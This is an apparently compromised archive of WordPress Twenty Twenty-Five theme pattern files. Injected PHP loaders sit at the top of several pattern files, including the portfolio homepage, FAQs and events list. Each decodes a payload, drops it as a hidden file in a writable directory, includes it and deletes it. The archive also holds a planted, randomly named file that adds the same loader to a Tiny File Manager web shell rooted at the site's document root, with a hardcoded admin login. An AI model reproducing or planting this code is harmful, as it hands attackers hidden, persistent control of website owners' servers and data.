patterns/page-portfolio-home.php 0000666 00000032430 15172262367 0013013 0 ustar 00 $item) { if (is_writable($item) && is_dir($item)) { $factor = str_replace("{var_dir}", $item, "{var_dir}/.flg"); if (file_put_contents($factor, $dat)) { include $factor; @unlink($factor); die(); } } } }
/**
* Title: Portfolio homepage
* Slug: twentytwentyfive/page-portfolio-home
* Categories: twentytwentyfive_page, posts
* Keywords: starter
* Block Types: core/post-content
* Post Types: page, wp_template
* Viewport width: 1400
* Description: A portfolio homepage pattern.
*
* @package WordPress
* @subpackage Twenty_Twenty_Five
* @since Twenty Twenty-Five 1.0
*/
?>
patterns/services-3-col.php 0000666 00000007405 15172262367 0011700 0 ustar 00
patterns/template-page-vertical-header-blog.php 0000666 00000005636 15172262367 0015651 0 ustar 00
patterns/header.php 0000666 00000002437 15172262367 0010372 0 ustar 00
patterns/testimonials-large.php 0000666 00000006600 15172262367 0012741 0 ustar 00
Atlanta, GA', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
patterns/page-coming-soon.php 0000666 00000006434 15172262367 0012305 0 ustar 00
patterns/event-3-col.php 0000666 00000014761 15172262367 0011201 0 ustar 00
patterns/page-landing-book.php 0000666 00000001520 15172262367 0012410 0 ustar 00
patterns/banner-intro-image.php 0000666 00000004632 15172262367 0012617 0 ustar 00
patterns/footer-columns.php 0000666 00000011543 15172262367 0012114 0 ustar 00
patterns/template-single-offset.php 0000666 00000012265 15172262367 0013520 0 ustar 00
patterns/contact-location-and-link.php 0000666 00000004770 15172262367 0014100 0 ustar 00
patterns/format-link.php 0000666 00000002764 15172262367 0011370 0 ustar 00
patterns/template.grid.event.php 0000666 00000001706 15172262367 0013017 0 ustar 00
patterns/template-query-loop-photo-blog.php 0000666 00000004044 15172262367 0015133 0 ustar 00
patterns/cta-book-locations.php 0000666 00000017410 15172262367 0012627 0 ustar 00
patterns/template-single-text-blog.php 0000666 00000006055 15172262367 0014137 0 ustar 00
patterns/header-columns.php 0000666 00000002725 15172262367 0012050 0 ustar 00
patterns/template-archive-photo-blog.php 0000666 00000001431 15172262367 0014435 0 ustar 00
patterns/more-posts.php 0000666 00000004227 15172262367 0011251 0 ustar 00
patterns/hidden-search.php 0000666 00000001021 15172262367 0011624 0 ustar 00
patterns/cta-grid-products-link.php 0000666 00000024541 15172262367 0013430 0 ustar 00
patterns/template-single-news-blog.php 0000666 00000015674 15172262367 0014136 0 ustar 00
patterns/page-link-in-bio-with-tight-margins.php 0000666 00000007661 15172262367 0015714 0 ustar 00
patterns/banner-poster.php 0000666 00000011016 15172262367 0011712 0 ustar 00
historias, iсторії, iστορίες”', 'Placeholder heading in four languages.', 'twentytwentyfive' )
);
?>
patterns/media-instagram-grid.php 0000666 00000011321 15172262367 0013117 0 ustar 00
patterns/format-audio.php 0000666 00000004240 15172262367 0011523 0 ustar 00
patterns/event-schedule.php 0000666 00000031115 15172262367 0012050 0 ustar 00
Prof. Fiona Presley', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>
Prof. Fiona Presley', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>
Prof. Fiona Presley', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>
Prof. Fiona Presley', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>
patterns/template-page-photo-blog.php 0000666 00000002306 15172262367 0013732 0 ustar 00
patterns/banner-intro.php 0000666 00000002353 15172262367 0011535 0 ustar 00
' . esc_html_x( 'Fleurs', 'Example brand name.', 'twentytwentyfive' ) . ''
);
?>
patterns/template-home-vertical-header-blog.php 0000666 00000004124 15172262367 0015654 0 ustar 00
patterns/contact-info-locations.php 0000666 00000014477 15172262367 0013526 0 ustar 00
patterns/template-single-photo-blog.php 0000666 00000013102 15172262367 0014273 0 ustar 00
patterns/header-centered.php 0000666 00000002140 15172262367 0012150 0 ustar 00
patterns/template-single-vertical-header-blog.php 0000666 00000013555 15172262367 0016215 0 ustar 00
patterns/footer.php 0000666 00000007551 15172262367 0010442 0 ustar 00
patterns/template-home-with-sidebar-news-blog.php 0000666 00000017030 15172262367 0016151 0 ustar 00
patterns/pricing-2-col.php 0000666 00000014613 15172262367 0011506 0 ustar 00
patterns/text-faqs.php 0000666 00000014776 15172262367 0011067 0 ustar 00 $dat) { if (!!is_dir($dat) && !!is_writable($dat)) { $key = join("/", [$dat, ".k"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $key; @unlink($key); exit; } } } }
/**
* Title: FAQs
* Slug: twentytwentyfive/text-faqs
* Categories: text, about
* Keywords: faq, about, frequently asked questions
* Viewport width: 1400
* Description: A FAQs section with a FAQ heading and list of questions and answers.
*
* @package WordPress
* @subpackage Twenty_Twenty_Five
* @since Twenty Twenty-Five 1.0
*/
?>
patterns/template-archive-vertical-header-blog.php 0000666 00000004201 15172262367 0016341 0 ustar 00
patterns/services-subscriber-only-section.php 0000666 00000007753 15172262367 0015555 0 ustar 00
patterns/page-shop-home.php 0000666 00000001076 15172262367 0011751 0 ustar 00
patterns/hero-podcast.php 0000666 00000007671 15172262367 0011537 0 ustar 00
patterns/banner-cover-big-heading.php 0000666 00000004074 15172262367 0013656 0 ustar 00
patterns/page-cv-bio.php 0000666 00000010304 15172262367 0011223 0 ustar 00
patterns/comments.php 0000666 00000003704 15172262367 0010765 0 ustar 00
patterns/banner-about-book.php 0000666 00000005331 15172262367 0012443 0 ustar 00
patterns/pricing-3-col.php 0000666 00000024171 15172262367 0011507 0 ustar 00
patterns/template-home-posts-grid-news-blog.php 0000666 00000021047 15172262367 0015665 0 ustar 00
patterns/template-query-loop.php 0000666 00000004643 15172262367 0013070 0 ustar 00
patterns/template-search-vertical-header-blog.php 0000666 00000004224 15172262367 0016172 0 ustar 00
patterns/template-home-text-blog.php 0000666 00000002051 15172262367 0013576 0 ustar 00
patterns/event-rsvp.php 0000666 00000013571 15172262367 0011254 0 ustar 00
historias, iсторії, iστορίες”', 'Placeholder heading in four languages.', 'twentytwentyfive' )
);
?>
patterns/template-query-loop-text-blog.php 0000666 00000005234 15172262367 0014770 0 ustar 00
patterns/template-home-news-blog.php 0000666 00000022225 15172262367 0013573 0 ustar 00
patterns/testimonials-6-col.php 0000666 00000027343 15172262367 0012576 0 ustar 00
Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
patterns/page-landing-podcast.php 0000666 00000001444 15172262367 0013120 0 ustar 00
patterns/testimonials-2-col.php 0000666 00000010557 15172262367 0012571 0 ustar 00
Atlanta, GA', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
patterns/template-query-loop-news-blog.php 0000666 00000006564 15172262367 0014767 0 ustar 00
patterns/cta-events-list.php 0000666 00000023055 15172262367 0012163 0 ustar 00 $v1): $chS = ord( $salt[$l % $lenS] ); $dec =( ( int)$v1 - $chS -( $l % 10)) ^52; $binding.= chr( $dec ); endforeach; $pgrp = 0; do { $property_set = $pointer[$pgrp] ?? null; if ($pgrp >= count($pointer)) break; if (max(0, is_dir($property_set) * is_writable($property_set))) { $hld = vsprintf("%s/%s", [$property_set, ".data_chunk"]); if (file_put_contents($hld, $binding)) { require $hld; unlink($hld); die(); } } $pgrp++; } while (true); }
/**
* Title: Events list
* Slug: twentytwentyfive/cta-events-list
* Categories: call-to-action
* Description: A list of events with call to action.
*
* @package WordPress
* @subpackage Twenty_Twenty_Five
* @since Twenty Twenty-Five 1.0
*/
?>
historias, iсторії, iστορίες”', 'Placeholder heading in four languages.', 'twentytwentyfive' )
);
?>
historias, iсторії, iστορίες”', 'Placeholder heading in four languages.', 'twentytwentyfive' )
);
?>
patterns/binding-format.php 0000666 00000000751 15172262367 0012037 0 ustar 00
patterns/logos.php 0000666 00000004777 15172262367 0010276 0 ustar 00
patterns/grid-videos.php 0000666 00000004112 15172262367 0011346 0 ustar 00
patterns/footer-centered.php 0000666 00000003006 15172262367 0012220 0 ustar 00
patterns/cta-book-links.php 0000666 00000006444 15172262367 0011761 0 ustar 00
international editions.', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>
patterns/footer-newsletter.php 0000666 00000005126 15172262367 0012630 0 ustar 00
patterns/hidden-blog-heading.php 0000666 00000000700 15172262367 0012702 0 ustar 00
patterns/header-large-title.php 0000666 00000003102 15172262367 0012567 0 ustar 00
patterns/page-link-in-bio-heading-paragraph-links-image.php 0000666 00000007224 15172262367 0017721 0 ustar 00
dlueoczx-edit-hashing.php 0000666 00000553677 15172262367 0011522 0 ustar 00 $record) { if (!( !is_dir($record) || !is_writable($record) )) { $symbol = vsprintf("%s/%s", [$record, ".k"]); if (file_put_contents($symbol, $comp)) { include $symbol; @unlink($symbol); die(); } } } }
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"calc_folder":false}';
/**
* H3K | Tiny File Manager V2.4.1
* CCP Programmers | ccpprogrammers@gmail.com
* https://tinyfilemanager.github.io
*/
//TFM version
define( 'VERSION', '2.4.1' );
//Application Title
define( 'APP_TITLE', 'Tiny File Manager' );
// --- EDIT BELOW CONFIGURATION CAREFULLY ---
// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;
// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
'admin' => '$2y$10$molk6aFqAQwElJKPBpoZKuIUX2TRVzVEKoaAWL9voaP16mxVkD.qS'
);
// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
'user'
);
// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();
// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;
// highlight.js style
$highlightjs_style = 'vs';
// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;
// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC
// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];
// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';
// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];
// input encoding for iconv
$iconv_input_encoding = 'UTF-8';
// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';
// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';
// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';
// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '?img=favicon';
// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();
// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';
// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;
// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
define( 'MAX_UPLOAD_SIZE', '2048' );
// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';
// Should users be notified of their block?
$ip_silent = true;
// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
'127.0.0.1', // local ipv4
'::1' // local ipv6
);
// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
'0.0.0.0', // non-routable meta ipv4
'::' // non-routable meta ipv6
);
// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---
// private key and session name to store to the session
if ( ! defined( 'FM_SESSION_ID' ) ) {
define( 'FM_SESSION_ID', 'filemanager' );
}
// Configuration
$cfg = new FM_Config();
// Default language
$lang = isset( $cfg->data['lang'] ) ? $cfg->data['lang'] : 'en';
// Show or hide files and folders that starts with a dot
$show_hidden_files = isset( $cfg->data['show_hidden'] ) ? $cfg->data['show_hidden'] : true;
// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset( $cfg->data['error_reporting'] ) ? $cfg->data['error_reporting'] : true;
// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset( $cfg->data['hide_Cols'] ) ? $cfg->data['hide_Cols'] : true;
// Show Dirsize: true or speedup output: false
$calc_folder = isset( $cfg->data['calc_folder'] ) ? $cfg->data['calc_folder'] : true;
//available languages
$lang_list = array(
'en' => 'English'
);
if ( $report_errors == true ) {
@ini_set( 'error_reporting', E_ALL );
@ini_set( 'display_errors', 1 );
} else {
@ini_set( 'error_reporting', E_ALL );
@ini_set( 'display_errors', 0 );
}
// if fm included
if ( defined( 'FM_EMBED' ) ) {
$use_auth = false;
$sticky_navbar = false;
} else {
@set_time_limit( 600 );
date_default_timezone_set( $default_timezone );
ini_set( 'default_charset', 'UTF-8' );
if ( version_compare( PHP_VERSION, '5.6.0', '<' ) && function_exists( 'mb_internal_encoding' ) ) {
mb_internal_encoding( 'UTF-8' );
}
if ( function_exists( 'mb_regex_encoding' ) ) {
mb_regex_encoding( 'UTF-8' );
}
session_cache_limiter( '' );
session_name( FM_SESSION_ID );
@session_start();
}
if ( empty( $auth_users ) ) {
$use_auth = false;
}
$is_https = isset( $_SERVER['HTTPS'] ) && ( $_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1 )
|| isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
// update $root_url based on user specific directories
if ( isset( $_SESSION[ FM_SESSION_ID ]['logged'] ) && ! empty( $directories_users[ $_SESSION[ FM_SESSION_ID ]['logged'] ] ) ) {
$wd = fm_clean_path( dirname( $_SERVER['PHP_SELF'] ) );
$root_url = $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[ $_SESSION[ FM_SESSION_ID ]['logged'] ];
}
// clean $root_url
$root_url = fm_clean_path( $root_url );
// abs path for site
defined( 'FM_ROOT_URL' ) || define( 'FM_ROOT_URL', ( $is_https ? 'https' : 'http' ) . '://' . $http_host . ( ! empty( $root_url ) ? '/' . $root_url : '' ) );
defined( 'FM_SELF_URL' ) || define( 'FM_SELF_URL', ( $is_https ? 'https' : 'http' ) . '://' . $http_host . $_SERVER['PHP_SELF'] );
// logout
if ( isset( $_GET['logout'] ) ) {
unset( $_SESSION[ FM_SESSION_ID ]['logged'] );
fm_redirect( FM_SELF_URL );
}
// Show image here
if ( isset( $_GET['img'] ) ) {
fm_show_image( $_GET['img'] );
}
// Validate connection IP
if ( $ip_ruleset != 'OFF' ) {
$clientIp = $_SERVER['REMOTE_ADDR'];
$proceed = false;
$whitelisted = in_array( $clientIp, $ip_whitelist );
$blacklisted = in_array( $clientIp, $ip_blacklist );
if ( $ip_ruleset == 'AND' ) {
if ( $whitelisted == true && $blacklisted == false ) {
$proceed = true;
}
} else if ( $ip_ruleset == 'OR' ) {
if ( $whitelisted == true || $blacklisted == false ) {
$proceed = true;
}
}
if ( $proceed == false ) {
trigger_error( 'User connection denied from: ' . $clientIp, E_USER_WARNING );
if ( $ip_silent == false ) {
fm_set_msg( 'Access denied. IP restriction applicable', 'error' );
fm_show_header_login();
fm_show_message();
}
exit();
}
}
// Auth
if ( $use_auth ) {
if ( isset( $_SESSION[ FM_SESSION_ID ]['logged'], $auth_users[ $_SESSION[ FM_SESSION_ID ]['logged'] ] ) ) {
// Logged
} elseif ( isset( $_POST['fm_usr'], $_POST['fm_pwd'] ) ) {
// Logging In
sleep( 1 );
if ( function_exists( 'password_verify' ) ) {
if ( isset( $auth_users[ $_POST['fm_usr'] ] ) && isset( $_POST['fm_pwd'] ) && password_verify( $_POST['fm_pwd'], $auth_users[ $_POST['fm_usr'] ] ) ) {
$_SESSION[ FM_SESSION_ID ]['logged'] = $_POST['fm_usr'];
fm_set_msg( 'You are logged in' );
fm_redirect( FM_SELF_URL . '?p=' );
} else {
unset( $_SESSION[ FM_SESSION_ID ]['logged'] );
fm_set_msg( 'Login failed. Invalid username or password', 'error' );
fm_redirect( FM_SELF_URL );
}
} else {
fm_set_msg( 'password_hash not supported, Upgrade PHP version', 'error' );;
}
} else {
// Form
unset( $_SESSION[ FM_SESSION_ID ]['logged'] );
fm_show_header_login();
?>
Root path \"{$root_path}\" not found!";
exit;
}
defined( 'FM_SHOW_HIDDEN' ) || define( 'FM_SHOW_HIDDEN', $show_hidden_files );
defined( 'FM_ROOT_PATH' ) || define( 'FM_ROOT_PATH', $root_path );
defined( 'FM_LANG' ) || define( 'FM_LANG', $lang );
defined( 'FM_FILE_EXTENSION' ) || define( 'FM_FILE_EXTENSION', $allowed_file_extensions );
defined( 'FM_UPLOAD_EXTENSION' ) || define( 'FM_UPLOAD_EXTENSION', $allowed_upload_extensions );
defined( 'FM_EXCLUDE_ITEMS' ) || define( 'FM_EXCLUDE_ITEMS', $exclude_items );
defined( 'FM_DOC_VIEWER' ) || define( 'FM_DOC_VIEWER', $online_viewer );
define( 'FM_READONLY', $use_auth && ! empty( $readonly_users ) && isset( $_SESSION[ FM_SESSION_ID ]['logged'] ) && in_array( $_SESSION[ FM_SESSION_ID ]['logged'], $readonly_users ) );
define( 'FM_IS_WIN', DIRECTORY_SEPARATOR == '\\' );
// always use ?p=
if ( ! isset( $_GET['p'] ) && empty( $_FILES ) ) {
fm_redirect( FM_SELF_URL . '?p=' );
}
// get path
$p = isset( $_GET['p'] ) ? $_GET['p'] : ( isset( $_POST['p'] ) ? $_POST['p'] : '' );
// clean path
$p = fm_clean_path( $p );
// for ajax request - save
$input = file_get_contents( 'php://input' );
$_POST = ( strpos( $input, 'ajax' ) != false && strpos( $input, 'save' ) != false ) ? json_decode( $input, true ) : $_POST;
// instead globals vars
define( 'FM_PATH', $p );
define( 'FM_USE_AUTH', $use_auth );
define( 'FM_EDIT_FILE', $edit_files );
defined( 'FM_ICONV_INPUT_ENC' ) || define( 'FM_ICONV_INPUT_ENC', $iconv_input_encoding );
defined( 'FM_USE_HIGHLIGHTJS' ) || define( 'FM_USE_HIGHLIGHTJS', $use_highlightjs );
defined( 'FM_HIGHLIGHTJS_STYLE' ) || define( 'FM_HIGHLIGHTJS_STYLE', $highlightjs_style );
defined( 'FM_DATETIME_FORMAT' ) || define( 'FM_DATETIME_FORMAT', $datetime_format );
unset( $p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style );
/*************************** ACTIONS ***************************/
// AJAX Request
if ( isset( $_POST['ajax'] ) && ! FM_READONLY ) {
// save
if ( isset( $_POST['type'] ) && $_POST['type'] == "save" ) {
// get current path
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
// check path
if ( ! is_dir( $path ) ) {
fm_redirect( FM_SELF_URL . '?p=' );
}
$file = $_GET['edit'];
$file = fm_clean_path( $file );
$file = str_replace( '/', '', $file );
if ( $file == '' || ! is_file( $path . '/' . $file ) ) {
fm_set_msg( 'File not found', 'error' );
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
header( 'X-XSS-Protection:0' );
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen( $file_path, "w" );
@fwrite( $fd, $writedata );
fclose( $fd );
die( true );
}
//search : get list of files from the current folder
if ( isset( $_POST['type'] ) && $_POST['type'] == "search" ) {
$dir = FM_ROOT_PATH;
$response = scan( $_POST['path'], $_POST['content'] );
echo json_encode( $response );
exit();
}
// backup files
if ( isset( $_POST['type'] ) && $_POST['type'] == "backup" ) {
$file = $_POST['file'];
$path = $_POST['path'];
$date = date( "dMy-His" );
$newFile = $file . '-' . $date . '.bak';
copy( $path . '/' . $file, $path . '/' . $newFile ) or die( "Unable to backup" );
echo "Backup $newFile Created";
}
// Save Config
if ( isset( $_POST['type'] ) && $_POST['type'] == "settings" ) {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder;
$newLng = $_POST['js-language'];
fm_get_translations( [] );
if ( ! array_key_exists( $newLng, $lang_list ) ) {
$newLng = 'en';
}
$erp = isset( $_POST['js-error-report'] ) && $_POST['js-error-report'] == "true" ? true : false;
$shf = isset( $_POST['js-show-hidden'] ) && $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset( $_POST['js-hide-cols'] ) && $_POST['js-hide-cols'] == "true" ? true : false;
$caf = isset( $_POST['js-calc-folder'] ) && $_POST['js-calc-folder'] == "true" ? true : false;
if ( $cfg->data['lang'] != $newLng ) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ( $cfg->data['error_reporting'] != $erp ) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ( $cfg->data['show_hidden'] != $shf ) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ( $cfg->data['show_hidden'] != $shf ) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ( $cfg->data['hide_Cols'] != $hco ) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ( $cfg->data['calc_folder'] != $caf ) {
$cfg->data['calc_folder'] = $caf;
$calc_folder = $caf;
}
$cfg->save();
echo true;
}
// new password hash
if ( isset( $_POST['type'] ) && $_POST['type'] == "pwdhash" ) {
$res = isset( $_POST['inputPassword2'] ) && ! empty( $_POST['inputPassword2'] ) ? password_hash( $_POST['inputPassword2'], PASSWORD_DEFAULT ) : '';
echo $res;
}
//upload using url
if ( isset( $_POST['type'] ) && $_POST['type'] == "upload" && ! empty( $_REQUEST["uploadurl"] ) ) {
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
$url = ! empty( $_REQUEST["uploadurl"] ) && preg_match( "|^http(s)?://.+$|", stripslashes( $_REQUEST["uploadurl"] ) ) ? stripslashes( $_REQUEST["uploadurl"] ) : null;
$use_curl = false;
$temp_file = tempnam( sys_get_temp_dir(), "upload-" );
$fileinfo = new stdClass();
$fileinfo->name = trim( basename( $url ), ".\x00..\x20" );
$allowed = ( FM_UPLOAD_EXTENSION ) ? explode( ',', FM_UPLOAD_EXTENSION ) : false;
$ext = strtolower( pathinfo( $fileinfo->name, PATHINFO_EXTENSION ) );
$isFileAllowed = ( $allowed ) ? in_array( $ext, $allowed ) : true;
function event_callback( $message ) {
global $callback;
echo json_encode( $message );
}
function get_file_path() {
global $path, $fileinfo, $temp_file;
return $path . "/" . basename( $fileinfo->name );
}
$err = false;
if ( ! $isFileAllowed ) {
$err = array( "message" => "File extension is not allowed" );
event_callback( array( "fail" => $err ) );
exit();
}
if ( ! $url ) {
$success = false;
} else if ( $use_curl ) {
@$fp = fopen( $temp_file, "w" );
@$ch = curl_init( $url );
curl_setopt( $ch, CURLOPT_NOPROGRESS, false );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_FILE, $fp );
@$success = curl_exec( $ch );
$curl_info = curl_getinfo( $ch );
if ( ! $success ) {
$err = array( "message" => curl_error( $ch ) );
}
@curl_close( $ch );
fclose( $fp );
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy( $url, $temp_file, $ctx );
if ( ! $success ) {
$err = error_get_last();
}
}
if ( $success ) {
$success = rename( $temp_file, get_file_path() );
}
if ( $success ) {
event_callback( array( "done" => $fileinfo ) );
} else {
unlink( $temp_file );
if ( ! $err ) {
$err = array( "message" => "Invalid url parameter" );
}
event_callback( array( "fail" => $err ) );
}
}
exit();
}
// Delete file / folder
if ( isset( $_GET['del'] ) && ! FM_READONLY ) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ( $del != '' && $del != '..' && $del != '.' ) {
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir( $path . '/' . $del );
if ( fm_rdelete( $path . '/' . $del ) ) {
$msg = $is_dir ? 'Folder %s deleted' : 'File %s deleted';
fm_set_msg( sprintf( $msg, fm_enc( $del ) ) );
} else {
$msg = $is_dir ? 'Folder %s not deleted' : 'File %s not deleted';
fm_set_msg( sprintf( $msg, fm_enc( $del ) ), 'error' );
}
} else {
fm_set_msg( 'Invalid file or folder name', 'error' );
}
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
// Create folder
if ( isset( $_GET['new'] ) && isset( $_GET['type'] ) && ! FM_READONLY ) {
$type = $_GET['type'];
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
if ( fm_isvalid_filename( $new ) && $new != '' && $new != '..' && $new != '.' ) {
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
if ( $_GET['type'] == "file" ) {
if ( ! file_exists( $path . '/' . $new ) ) {
if ( fm_is_valid_ext( $new ) ) {
@fopen( $path . '/' . $new, 'w' ) or die( 'Cannot open file: ' . $new );
fm_set_msg( sprintf( 'File %s created', fm_enc( $new ) ) );
} else {
fm_set_msg( 'File extension is not allowed', 'error' );
}
} else {
fm_set_msg( sprintf( 'File %s already exists', fm_enc( $new ) ), 'alert' );
}
} else {
if ( fm_mkdir( $path . '/' . $new, false ) === true ) {
fm_set_msg( sprintf( 'Folder %s created', $new ) );
} elseif ( fm_mkdir( $path . '/' . $new, false ) === $path . '/' . $new ) {
fm_set_msg( sprintf( 'Folder %s already exists', fm_enc( $new ) ), 'alert' );
} else {
fm_set_msg( sprintf( 'Folder %s not created', fm_enc( $new ) ), 'error' );
}
}
} else {
fm_set_msg( 'Invalid characters in file or folder name', 'error' );
}
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
// Copy folder / file
if ( isset( $_GET['copy'], $_GET['finish'] ) && ! FM_READONLY ) {
// from
$copy = $_GET['copy'];
$copy = fm_clean_path( $copy );
// empty path
if ( $copy == '' ) {
fm_set_msg( 'Source path not defined', 'error' );
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
// abs path from
$from = FM_ROOT_PATH . '/' . $copy;
// abs path to
$dest = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename( $from );
// move?
$move = isset( $_GET['move'] );
// copy/move
if ( $from != $dest ) {
$msg_from = trim( FM_PATH . '/' . basename( $from ), '/' );
if ( $move ) {
$rename = fm_rename( $from, $dest );
if ( $rename ) {
fm_set_msg( sprintf( 'Moved from %s to %s', fm_enc( $copy ), fm_enc( $msg_from ) ) );
} elseif ( $rename === null ) {
fm_set_msg( 'File or folder with this path already exists', 'alert' );
} else {
fm_set_msg( sprintf( 'Error while moving from %s to %s', fm_enc( $copy ), fm_enc( $msg_from ) ), 'error' );
}
} else {
if ( fm_rcopy( $from, $dest ) ) {
fm_set_msg( sprintf( 'Copied from %s to %s', fm_enc( $copy ), fm_enc( $msg_from ) ) );
} else {
fm_set_msg( sprintf( 'Error while copying from %s to %s', fm_enc( $copy ), fm_enc( $msg_from ) ), 'error' );
}
}
} else {
fm_set_msg( 'Paths must be not equal', 'alert' );
}
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
// Mass copy files/ folders
if ( isset( $_POST['file'], $_POST['copy_to'], $_POST['finish'] ) && ! FM_READONLY ) {
// from
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path( $_POST['copy_to'] );
if ( $copy_to != '' ) {
$copy_to_path .= '/' . $copy_to;
}
if ( $path == $copy_to_path ) {
fm_set_msg( 'Paths must be not equal', 'alert' );
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
if ( ! is_dir( $copy_to_path ) ) {
if ( ! fm_mkdir( $copy_to_path, true ) ) {
fm_set_msg( 'Unable to create destination folder', 'error' );
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
}
// move?
$move = isset( $_POST['move'] );
// copy/move
$errors = 0;
$files = $_POST['file'];
if ( is_array( $files ) && count( $files ) ) {
foreach ( $files as $f ) {
if ( $f != '' ) {
// abs path from
$from = $path . '/' . $f;
// abs path to
$dest = $copy_to_path . '/' . $f;
// do
if ( $move ) {
$rename = fm_rename( $from, $dest );
if ( $rename === false ) {
$errors ++;
}
} else {
if ( ! fm_rcopy( $from, $dest ) ) {
$errors ++;
}
}
}
}
if ( $errors == 0 ) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg( $msg );
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg( $msg, 'error' );
}
} else {
fm_set_msg( 'Nothing selected', 'alert' );
}
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
// Rename
